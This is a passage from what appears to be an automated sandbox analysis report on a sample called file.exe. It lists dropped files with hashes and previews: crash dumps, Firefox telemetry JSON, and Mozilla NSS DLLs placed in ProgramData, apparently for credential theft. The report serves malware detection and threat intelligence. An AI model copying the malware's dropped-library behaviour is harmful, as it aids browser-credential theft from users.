Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.5.6.5.8.5.4.4.2.8.6.4.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.5.6.5.8.6.3.6.4.7.3.2.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.b.d.c.1.6.f.2.-.c.a.7.a.-.4.c.8.8.-.b.0.1.0.-.4.9.8.5.7.4.d.9.6.3.4.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.b.e.1.a.f.0.c.-.d.e.d.4.-.4.a.d.c.-.b.d.6.3.-.e.3.1.4.4.f.e.f.0.4.f.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.f.4.-.0.0.0.1.-.0.0.1.5.-.0.0.0.b.-.f.0.d.8.3.6.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.6.c.3.0.9.2.5.5.f.2.e.7.0.1.f.8.3.2.5.c.0.b.a.2.e.b.a.8.f.e.2.7.0.c.3.2.e.4.4.a.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.7.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5165.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jul 26 08:37:09 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	64984
Entropy (8bit):	1.9852806250994615
Encrypted:	false
SSDEEP:	192:Sf1Y37XcuS3p+YVXppYwOEOJwACrLPa0xH8FrAO1tHZP0EmTY0q9PAt0iJkzZIzc:PS3pNtYHEETCva0J8dAC85YjUS8yBkQ
MD5:	7BFD9583E459FEE9FE29D1D9799A1234
SHA1:	291C62089E97B25AC0779F49F61E98F3088750AD
SHA-256:	507B15801D2CAEE568CA9BA08117EA5FF9571E6BC1007C0C730B42C0258BF740
SHA-512:	DF62671A8DBDAF2C86E61ADDFDC0B005F4DB49B8A7D08F981DF679FE7412B78BC93AF507494E36F54DC12F65E12C5B6F758AEDBD29C04159EF3997DCCD256371
Malicious:	false
Preview:	MDMP..a..... .......5`.f............4...............<............*..........T.......8...........T...........x3..`.......................................................................................................eJ......H.......GenuineIntel............T.......L...2`.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5231.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8324
Entropy (8bit):	3.6911239416899493
Encrypted:	false
SSDEEP:	192:R6l7wVeJTt6fCOJ6Y3x6xiARrgmfaHpDG89b4ssf3om:R6lXJZ66OJ6YB6xiMrgmfaN4/f9
MD5:	1C49D4C4F5A3CAE19EB378B311E25A88
SHA1:	79FE87EA483B726B2592D8365FE5833035C1F4B0
SHA-256:	272081844DAD183CC076563228E509A299DD76A333118D7160F012454356A7AB
SHA-512:	6B1D14F8B757A96A0B39DA4E6A255C3C4ABC78B5BD3484D47BBD749DD0CBC4C6DF93076453800A775A837711F4A092FD9CC43E14811113C32233A96C02B28809
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5261.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.442456484026538
Encrypted:	false
SSDEEP:	48:cvIwWl8zsvJg77aI9OjtWpW8VYZYm8M4JaLFEFGHR+q865F90Bqpd:uIjfRI7sc7VVJwzRNf0Bqpd
MD5:	930A49C14F0D5D48CBFCB27A821A68BD
SHA1:	F25556E88F9226F0AC42DD0A357839D0BF632C6A
SHA-256:	320E9D8B040998F28A0088A3CD0AEE8511639EAC0F47840BD25444B0CED84972
SHA-512:	C326AD1872DC5E0BE2CAF341B12EF94D96E4829FA4CFF7589BD11A6A1B602787A6ED307DF52489552BFF696A8CB33C6B451E1FE6F0A7E9C598745FC80D78C620
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="427659" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8BCE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jul 26 08:37:24 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	64738
Entropy (8bit):	1.9834440191009914
Encrypted:	false
SSDEEP:	384:Dk3K1cBKwE1jYHa0xGdxtf8cDwAR9YkZafO:D+K1QKwEqy0ARW12
MD5:	F6E095C90D5A2CBAAB5700F70E393031
SHA1:	65790EF66985804129D82F36C3A62B7AA213BEE3
SHA-256:	B62218AC677FA839A40B70624AF83D8EE7A209F3C62BD34A5AA3E4211EA359E8
SHA-512:	A1BABE78745587ABDB23CB79DFC2FD9B6CEF6E8C852F8140D333F32E27821CC340A0705100C8DB16A7821AC40F1ED7FF1CBA2A431DAB0CA066B873375558B806
Malicious:	false
Preview:	MDMP..a..... .......D`.f............4...............<...........0*..........T.......8...........T............2..............X...........D...............................................................................eJ..............GenuineIntel............T.......8...=`.f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8DB4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8338
Entropy (8bit):	3.69523783877544
Encrypted:	false
SSDEEP:	192:R6l7wVeJ3M6Lcs6Y2DTSUFgmfaHpDZ89bP9sfzMlm:R6lXJc6Lcs6YOSUFgmfaUP2fzT
MD5:	8CE44742B736C420998B828EA17D8CBB
SHA1:	841236D2B9AD2555D95BC18C85A9982918CEEA88
SHA-256:	767F4C41953CFA6B69D61B1466D073A7C2D966C20ADCBF4B24638E5B5BBBE01F
SHA-512:	46D879A640C99C4B0065FD414F1A03FEA5C5E1A54F1B5E34CB966204F5F265817A4CB5AE67FB85734FE9E5EA3ED8910926F3067ECDD200E0CECE40436C072AAD
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.3.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8DE3.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.443982834048625
Encrypted:	false
SSDEEP:	48:cvIwWl8zsvJg77aI9OjtWpW8VYV5Ym8M4JaLFEFUO+q865FX0Bqkd:uIjfRI7sc7VLJwLON10Bqkd
MD5:	ABAB9C928C544BC52418DB4B30AD2B84
SHA1:	0BCF221C1000ADB4270905656AB2CBDEDA7DAD3D
SHA-256:	C2E04AD2336ADFA632E8D4048BD84174216E8145C897BE289C1F116158781EA1
SHA-512:	094870650290870ECF645474D82AAD20B6A4A0CD22A3A2C27547D54D769B98199014E29FA733C0D5E462B662578921493C34023FAF811DF6C3352C41A5741871
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="427660" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA5A4.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jul 26 08:36:25 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	61358
Entropy (8bit):	2.6903697626785275
Encrypted:	false
SSDEEP:	384:fiEdEeimLEMEER887lV/ecI34ndd4GRrOd9aWHoadw:vye1LREESmxz4nSWHoR
MD5:	78731D8EE86AA347923596179B04D64E
SHA1:	816222797AB58D0BE0264BC9A1351C19E7831981
SHA-256:	46E5B7E15219F7A12751618ABA4C4218FE68AA3BD96B90F7C17EAB85239B45DE
SHA-512:	D4DE2E08C8867D43CB2D5D5531C650A78AC54602F4F517A88DAB1C6B0600E32C5D5728064CA765E6411ECDFEA6B8552D00BAEE235465364D88CF13C92DF81713
Malicious:	false
Preview:	MDMP..a..... ........`.f............4...............<............7..........T.......8...........T............_..&............&...........(..............................................................................eJ......h)......GenuineIntel............T............_.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA855.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8312
Entropy (8bit):	3.689703902468029
Encrypted:	false
SSDEEP:	192:R6l7wVeJlCX6p6Y2DCSUt3gmfB1GQ/lWpDu89bsFsfvEm:R6lXJQ6p6YPSUt3gmf6Q/lssef5
MD5:	74D4E3067139797DF34914FC6A784033
SHA1:	530B767C2A73B50B863EAEE9B2EE8CE4D9E11242
SHA-256:	418BB8293B4862CC96F5AFD39521506AD8DEC8182A533261FBA1AF6DF9D886B9
SHA-512:	C9EEDCCA2C67474E29F1BF2CD29A8B5694883D7D6343DE9F77C48E50A66B5EC7AFDCECE156C0889A1675A3FD3FC55204531305592B3E65BC8ED2BABDE90345DB
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.0.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA885.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	4.419341180489075
Encrypted:	false
SSDEEP:	48:cvIwWl8zsvJg77aI9OjtWpW8VYaYm8M4JWsFEFR+q805FZ0BPsd:uIjfRI7sc7VOJ7ynP0BPsd
MD5:	253A25035DA5CD0080B1C5E3CC29A3A6
SHA1:	716BBAF859CB22244B438DE6EDC5C06F47AC807C
SHA-256:	DBADC6C25908D1E92B935E9A91E3C118CDFB8C8C9849E8F35007A4D6267ECBE3
SHA-512:	933CEF74D4E1D44C3690327580F46A35FB98D1E7B08468ADA9A45BD11057B9BF6835B0EC8BEFA73565D400246F267CAEA472DDA156AF3E04DD207DF3E39370C2
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="427659" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_0050b7db-8e21-483e-bc3d-b92cf27b27cd.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7731
Entropy (8bit):	5.167997136161747
Encrypted:	false
SSDEEP:	192:IOBMXGgzcbhbVbTbfbRbObtbyEl7nOJA6unSrDtTkdxSofS:IOiDcNhnzFSJN1nSrDhkdxm
MD5:	92FD9F79F58F069932A71DEA57D2BA36
SHA1:	FC99C16259AB09CEDBF94E8DC6F4258F19CA2298
SHA-256:	EA04842EE67C99F397256AE3B72A83D891E804A7E73A221B93DE4362DC8C4188
SHA-512:	1BD271C05B4C4C8E78B9F8A3D278BAB89F2C1B0999472DC1A840710BF1EF31FE96917FA1E349D2153E7797D7C1129F8E17E07D1DFBBCAF99123F2A7D49C2EF1B
Malicious:	false
Preview:	{"type":"uninstall","id":"0050b7db-8e21-483e-bc3d-b92cf27b27cd","creationDate":"2024-07-26T10:23:13.936Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"7340e351-fad3-4a0f-b554-971fbfafe8fb","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_0050b7db-8e21-483e-bc3d-b92cf27b27cd.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7731
Entropy (8bit):	5.167997136161747
Encrypted:	false
SSDEEP:	192:IOBMXGgzcbhbVbTbfbRbObtbyEl7nOJA6unSrDtTkdxSofS:IOiDcNhnzFSJN1nSrDhkdxm
MD5:	92FD9F79F58F069932A71DEA57D2BA36
SHA1:	FC99C16259AB09CEDBF94E8DC6F4258F19CA2298
SHA-256:	EA04842EE67C99F397256AE3B72A83D891E804A7E73A221B93DE4362DC8C4188
SHA-512:	1BD271C05B4C4C8E78B9F8A3D278BAB89F2C1B0999472DC1A840710BF1EF31FE96917FA1E349D2153E7797D7C1129F8E17E07D1DFBBCAF99123F2A7D49C2EF1B
Malicious:	false
Preview:	{"type":"uninstall","id":"0050b7db-8e21-483e-bc3d-b92cf27b27cd","creationDate":"2024-07-26T10:23:13.936Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"7340e351-fad3-4a0f-b554-971fbfafe8fb","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: JGKjBsQrMc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Bootstrapper.exe, Detection: malicious, Browse Filename: azeyNF3kkf.exe, Detection: malicious, Browse Filename: Setup .exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Nin6JE44ky.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: JGKjBsQrMc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Bootstrapper.exe, Detection: malicious, Browse Filename: azeyNF3kkf.exe, Detection: malicious, Browse Filename: Setup .exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Nin6JE44ky.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
